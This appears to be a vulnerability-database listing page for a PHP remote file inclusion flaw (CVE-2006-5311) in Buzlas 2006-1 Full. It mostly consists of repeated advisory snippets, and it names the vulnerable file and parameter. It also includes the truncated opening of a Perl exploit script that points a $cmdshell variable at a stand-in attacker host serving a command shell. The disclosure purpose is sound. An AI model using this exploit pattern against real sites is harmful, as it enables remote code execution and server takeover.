EUVD-2006-5296

Malware in sbrugna...

Buzlas 2006-1 Full Archive_Topic.PHP Remote File Include Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/20511/info Buzlas is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromise the application and the underlying...

buzlas-rfi.txt

!/usr/bin/perl Buzlas v2006-1 Full Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://www.buzlas.net/dosyalar/phpbb/premod/Buzlas%20v2006-1%20Full.zip use IO::Socket; use LWP::Simple; $cmdshell="http://attacker.com/cmd.txt"; ";$cmd = ;...

CVE-2006-5311

PHP remote file inclusion vulnerability in includes/archive/archivetopic.php in Buzlas 2006-1 Full allows remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter...

CVE-2006-5311

PHP remote file inclusion vulnerability in includes/archive/archivetopic.php in Buzlas 2006-1 Full allows remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter...

CVE-2006-5311

CVE-2006-5311 is a PHP remote file inclusion in includes/archive/archive_topic.php of Buzlas 2006-1 Full, allowing remote code execution via a URL supplied to phpbb_root_path . Root cause: insecure file inclusion enabling arbitrary PHP execution through a crafted URL. Impact per the cited metrics...

Buzlas 2006-1 Full - 'Archive_Topic.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/20511/info Buzlas is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also...

Buzlas 2006-1 Full - Archive_Topic.php Remote File Inclusion

Buzlas 2006-1 Full - ArchiveTopic.php Remote File Inclusion source: https://www.securityfocus.com/bid/20511/info Buzlas is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromise the...